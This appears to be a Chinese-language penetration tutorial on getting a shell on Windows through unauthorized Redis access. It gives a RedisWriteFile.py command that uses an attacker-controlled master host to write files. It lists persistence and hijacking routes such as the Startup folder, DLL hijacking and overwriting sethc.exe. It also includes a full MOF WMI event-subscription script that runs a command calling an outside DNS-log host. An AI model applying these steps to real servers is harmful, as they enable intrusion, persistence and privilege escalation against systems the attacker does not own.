目录
前言
之前已经介绍了未授权访问的4种利用方式,这里再介绍一下4种利用方式的一些存在问题及绕过方式。
linux写shell很容易,但是windows的计划任务文件不是以文本格式保存在固定位置的,并且若利用写木马的方式要求该服务器开启了web服务;而windows的最新redis版本只有3.2也无法利用主从getshell;同时没有ssh服务。因此只有可能通过直接写shell的方式了。
0x01 写无损文件
redis直接写数据会携带脏数据,要想getshell可能要求你写二进制文件等,这时候我们可以利用主从复制写无损数据进去,可利用工具
命令如下python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
0x02 getshell
1.存在web
理想情况若存在web网站,可以直接写木马进行反连。
2.启动项
windows中可以利用系统服务、计划任务、注册表启动项,用户的startup目录进行自启动。而只有startup方式可以精准的向固定目录写文件。
C:Users/[username]/AppData/Roaming/Microsoft/Windows/Start/Men/Programs/Startup
这里如果猜测用户名成功即可写入文件,当然需要用户重启才能启动。
3.篡改&劫持
系统DLL劫持(需要目标重启或注销)
针对特定软件的DLL劫持(需要知道软件的绝对路径,需要目标一次点击)
覆写目标的快捷方式(需要知道用户名,需要目标一次点击)
覆写特定软件的配置文件达到提权目的(目标无需点击或一次点击,主要看是什么软件)
覆写sethc.exe粘滞键(需要可以登录3389)
#上面涉及系统目录的操作,前提是Redis权限很高,不然没戏。
比较通用的方法是向system32目录下写文件,但NT6及以上操作系统的UAC必须关掉,或Redis以SYSTEM权限启动,否则脚本显示成功但实际上是无法写入的。
4.mof
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:C:/windows/system32/wbem/mof/nullevt.mof,其作用是每隔五秒就会去监控进程创建和死亡。但这个默认5秒执行一次的设定只有03及以下系统才会有.....
例如如下脚本执行时会执行系统命令:
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")
WSH.run("ping sfas.g9bubn.ceye.io ")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
将其保存为nullevt.mof并写入C:/windows/system32/wbem/mof路径下,而且由于03没有默认UAC的控制,只要权限够就可以直接写入。